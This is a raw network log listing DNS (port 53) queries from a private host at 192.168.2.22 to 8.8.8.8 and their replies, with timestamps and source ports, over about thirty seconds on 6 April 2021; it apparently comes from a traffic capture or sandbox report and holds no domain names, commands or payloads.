Apr 6, 2021 19:42:24.130583048 CEST	52056	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:24.180306911 CEST	53	52056	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:24.317945957 CEST	65378	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:24.369887114 CEST	53	65378	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:24.558274031 CEST	60105	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:24.604326963 CEST	53	60105	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:24.738868952 CEST	60881	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:24.784987926 CEST	53	60881	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:24.905472994 CEST	55917	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:24.956549883 CEST	53	55917	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:25.093194008 CEST	50435	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:25.139507055 CEST	53	50435	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:25.268349886 CEST	59029	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:25.314471960 CEST	53	59029	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:25.451562881 CEST	64229	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:25.497818947 CEST	53	64229	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:25.628946066 CEST	65499	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:25.678411961 CEST	53	65499	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:25.805972099 CEST	56521	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:25.851898909 CEST	53	56521	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:26.002388954 CEST	64515	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:26.048476934 CEST	53	64515	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:26.169493914 CEST	61149	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:26.215871096 CEST	53	61149	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:26.357660055 CEST	54702	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:26.405330896 CEST	53	54702	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:26.562568903 CEST	61277	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:26.613580942 CEST	53	61277	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:26.740994930 CEST	53421	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:26.788229942 CEST	53	53421	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:26.912427902 CEST	61627	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:26.958570004 CEST	53	61627	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:27.101932049 CEST	49937	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:27.149280071 CEST	53551	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:27.149516106 CEST	53	49937	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:27.197156906 CEST	53	53551	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:27.280507088 CEST	54311	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:27.327368975 CEST	53	54311	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:27.459379911 CEST	56102	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:27.505449057 CEST	53	56102	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:27.633661032 CEST	56135	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:27.682452917 CEST	53	56135	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:27.807357073 CEST	49904	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:27.853235960 CEST	53	49904	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:27.983978033 CEST	55373	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:28.033345938 CEST	53	55373	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:28.181524038 CEST	49292	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:28.230309010 CEST	53	49292	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:28.361962080 CEST	53628	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:28.407943964 CEST	53	53628	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:28.531514883 CEST	63525	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:28.580331087 CEST	53	63525	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:28.717922926 CEST	55612	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:28.763948917 CEST	53	55612	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:28.886059999 CEST	49704	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:28.935663939 CEST	53	49704	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:29.053906918 CEST	63129	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:29.099788904 CEST	53	63129	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:29.231369019 CEST	49837	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:29.277669907 CEST	53	49837	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:29.429790020 CEST	63924	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:29.476285934 CEST	53	63924	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:29.598246098 CEST	62989	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:29.644162893 CEST	53	62989	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:29.788295031 CEST	64594	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:29.837212086 CEST	53	64594	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:29.961857080 CEST	57161	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:30.010643005 CEST	53	57161	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:30.131825924 CEST	54414	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:30.182153940 CEST	53	54414	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:30.323438883 CEST	53574	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:30.372332096 CEST	53	53574	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:30.505501032 CEST	64618	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:30.551834106 CEST	53	64618	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:30.680412054 CEST	51723	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:30.727878094 CEST	53	51723	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:30.853342056 CEST	61204	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:30.899363995 CEST	53	61204	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:31.022139072 CEST	58937	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:31.071337938 CEST	53	58937	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:31.208950043 CEST	65166	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:31.255116940 CEST	53	65166	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:31.387761116 CEST	63062	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:31.433943987 CEST	53	63062	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:31.570156097 CEST	59875	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:31.617216110 CEST	53	59875	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:31.756571054 CEST	52164	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:31.805448055 CEST	53	52164	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:31.931333065 CEST	62002	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:31.980053902 CEST	53	62002	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:32.112734079 CEST	51178	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:32.161640882 CEST	53	51178	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:32.293761015 CEST	50161	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:32.339822054 CEST	53	50161	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:32.473603964 CEST	65403	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:32.521823883 CEST	53	65403	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:32.663604021 CEST	60259	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:32.712055922 CEST	53	60259	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:32.852996111 CEST	55525	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:32.901304007 CEST	53	55525	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:33.027076006 CEST	64971	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:33.075191975 CEST	53	64971	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:33.207854986 CEST	56966	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:33.255460978 CEST	53	56966	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:33.382910013 CEST	63890	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:33.431633949 CEST	53	63890	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:33.643718004 CEST	54828	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:33.691013098 CEST	53	54828	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:33.929276943 CEST	64952	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:33.975203991 CEST	53	64952	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:34.099257946 CEST	63905	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:34.150111914 CEST	53	63905	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:34.185661077 CEST	52317	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:34.242187023 CEST	53	52317	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:34.289189100 CEST	63611	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:34.336463928 CEST	53	63611	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:34.630767107 CEST	62692	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:34.679801941 CEST	53	62692	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:34.821882963 CEST	55534	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:34.870239019 CEST	53	55534	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:35.383187056 CEST	50569	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:35.432514906 CEST	53	50569	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:35.682473898 CEST	56044	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:35.731879950 CEST	53	56044	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:36.344880104 CEST	53065	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:36.393716097 CEST	53	53065	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:36.517855883 CEST	54169	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:36.565362930 CEST	53	54169	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:36.692564011 CEST	51488	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:36.744329929 CEST	53	51488	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:36.874722958 CEST	59098	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:36.920824051 CEST	53	59098	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:37.034646988 CEST	57858	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:37.081511974 CEST	53	57858	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:37.223686934 CEST	50464	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:37.272511959 CEST	53	50464	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:37.403374910 CEST	61027	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:37.449423075 CEST	53	61027	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:37.567022085 CEST	60496	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:37.612976074 CEST	53	60496	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:37.750511885 CEST	54976	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:37.797697067 CEST	53	54976	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:37.937309980 CEST	64874	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:37.986224890 CEST	53	64874	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:38.116708040 CEST	61814	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:38.162794113 CEST	53	61814	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:38.356530905 CEST	58618	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:38.402482033 CEST	53	58618	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:38.609277010 CEST	63210	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:38.657303095 CEST	53	63210	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:38.789817095 CEST	64848	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:38.838576078 CEST	53	64848	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:38.962863922 CEST	61430	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:39.011686087 CEST	53	61430	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:39.130934954 CEST	51719	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:39.180008888 CEST	53	51719	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:39.312748909 CEST	55331	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:39.360593081 CEST	53	55331	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:39.494003057 CEST	56646	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:39.540002108 CEST	53	56646	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:39.663842916 CEST	56380	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:39.711611986 CEST	53	56380	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:39.836986065 CEST	57287	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:39.885759115 CEST	53	57287	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:40.011254072 CEST	54702	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:40.057142973 CEST	53	54702	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:40.178349972 CEST	51771	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:40.227874994 CEST	53	51771	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:40.348269939 CEST	56408	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:40.394232988 CEST	53	56408	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:40.518769026 CEST	50824	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:40.569595098 CEST	53	50824	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:40.691165924 CEST	51649	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:40.737339973 CEST	53	51649	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:40.867902040 CEST	59899	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:40.915618896 CEST	53	59899	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:41.032955885 CEST	65322	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:41.041148901 CEST	54091	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:41.085580111 CEST	53	65322	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:41.087795973 CEST	53	54091	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:41.212131977 CEST	52770	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:41.259716034 CEST	53	52770	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:41.378076077 CEST	61087	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:41.423974037 CEST	53	61087	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:41.562782049 CEST	58816	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:41.611558914 CEST	53	58816	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:41.741616011 CEST	63563	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:41.787870884 CEST	53	63563	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:41.910832882 CEST	56846	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:41.956841946 CEST	53	56846	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:42.092677116 CEST	49807	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:42.143047094 CEST	53	49807	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:42.274949074 CEST	55406	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:42.321439028 CEST	53	55406	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:42.446974039 CEST	51662	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:42.494580984 CEST	53	51662	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:42.633116007 CEST	57526	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:42.683697939 CEST	53	57526	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:42.820396900 CEST	61888	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:42.866476059 CEST	53	61888	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:43.000516891 CEST	63922	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:43.049603939 CEST	53	63922	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:43.189673901 CEST	53207	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:43.237287045 CEST	53	53207	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:43.352322102 CEST	64178	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:43.398423910 CEST	53	64178	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:43.540776968 CEST	57850	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:43.586652994 CEST	53	57850	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:43.710727930 CEST	57502	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:43.756855965 CEST	53	57502	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:43.878221989 CEST	63884	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:43.924406052 CEST	53	63884	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:44.048813105 CEST	64295	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:44.096920013 CEST	53	64295	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:44.225379944 CEST	57929	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:44.273869991 CEST	53	57929	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:44.420188904 CEST	59892	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:44.468727112 CEST	53	59892	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:44.586739063 CEST	64784	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:44.638353109 CEST	53	64784	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:44.778337955 CEST	61720	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:44.827119112 CEST	53	61720	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:44.955090046 CEST	61124	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:45.001219034 CEST	53	61124	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:45.135548115 CEST	59550	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:45.183106899 CEST	53	59550	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:45.326280117 CEST	55939	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:45.372524977 CEST	53	55939	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:45.500967026 CEST	49222	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:45.546947956 CEST	53	49222	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:45.666204929 CEST	65354	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:45.712363958 CEST	53	65354	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:45.843739986 CEST	54850	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:45.889889956 CEST	53	54850	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:46.025037050 CEST	54709	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:46.071057081 CEST	53	54709	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:46.210182905 CEST	59013	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:46.256257057 CEST	53	59013	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:46.394228935 CEST	57402	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:46.443197012 CEST	53	57402	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:46.577914000 CEST	56309	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:46.624011993 CEST	53	56309	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:46.798760891 CEST	60132	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:46.849548101 CEST	53	60132	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:46.982469082 CEST	51609	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:47.031053066 CEST	53	51609	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:47.167284012 CEST	52663	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:47.217118979 CEST	53	52663	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:47.275778055 CEST	61972	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:47.330743074 CEST	53	61972	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:47.336500883 CEST	64059	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:47.382472038 CEST	53	64059	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:47.517292023 CEST	63113	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:47.563369989 CEST	53	63113	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:47.688642025 CEST	64369	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:47.734931946 CEST	53	64369	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:47.859925985 CEST	61108	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:47.906132936 CEST	53	61108	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:48.018269062 CEST	60669	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:48.066164970 CEST	53	60669	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:48.211654902 CEST	51300	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:48.258174896 CEST	53	51300	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:48.410904884 CEST	58442	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:48.459836960 CEST	53	58442	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:48.595427036 CEST	57649	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:48.641771078 CEST	53	57649	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:48.787574053 CEST	51697	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:48.838382959 CEST	53	51697	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:48.966564894 CEST	51760	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:49.012525082 CEST	53	51760	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:49.137937069 CEST	60144	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:49.185770988 CEST	53	60144	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:49.307164907 CEST	50908	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:49.353055000 CEST	53	50908	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:49.491666079 CEST	62678	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:49.539235115 CEST	53	62678	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:49.682890892 CEST	55988	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:49.728804111 CEST	53	55988	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:49.853811979 CEST	59378	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:49.899811029 CEST	53	59378	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:50.021822929 CEST	54090	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:50.067960978 CEST	53	54090	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:50.194410086 CEST	59276	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:50.241233110 CEST	53	59276	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:50.368676901 CEST	59996	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:50.417510033 CEST	53	59996	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:50.551014900 CEST	63137	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:50.600867033 CEST	53	63137	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:50.725096941 CEST	57231	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:50.772943020 CEST	53	57231	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:50.898528099 CEST	59754	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:50.949104071 CEST	53	59754	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:51.075357914 CEST	65212	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:51.121359110 CEST	53	65212	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:51.243278980 CEST	62166	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:51.289525986 CEST	53	62166	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:51.424928904 CEST	50101	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:51.473905087 CEST	53	50101	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:51.600684881 CEST	61666	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:51.651333094 CEST	53	61666	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:51.836807966 CEST	64696	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:51.882812977 CEST	53	64696	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:52.023755074 CEST	51449	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:52.070070028 CEST	53	51449	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:52.197987080 CEST	60926	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:52.246840954 CEST	53	60926	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:52.389333010 CEST	64508	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:52.435575962 CEST	53	64508	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:52.569591045 CEST	58705	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:52.615577936 CEST	53	58705	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:52.734774113 CEST	52540	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:52.782897949 CEST	53	52540	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:52.924345016 CEST	58534	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:52.972532034 CEST	53	58534	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:53.098838091 CEST	63158	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:53.147896051 CEST	53	63158	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:53.267034054 CEST	51228	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:53.313186884 CEST	53	51228	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:53.328986883 CEST	65351	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:53.376725912 CEST	53	65351	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:53.449671030 CEST	59378	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:53.495623112 CEST	53	59378	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:53.640836000 CEST	63715	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:53.689826965 CEST	53	63715	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:53.807208061 CEST	57395	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:53.853147030 CEST	53	57395	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:54.087867022 CEST	53835	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:54.137821913 CEST	53	53835	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:54.264636040 CEST	60659	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:54.310916901 CEST	53	60659	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:54.437319994 CEST	59616	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:54.483423948 CEST	53	59616	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:54.611021042 CEST	50024	53	192.168.2.22	8.8.8.8
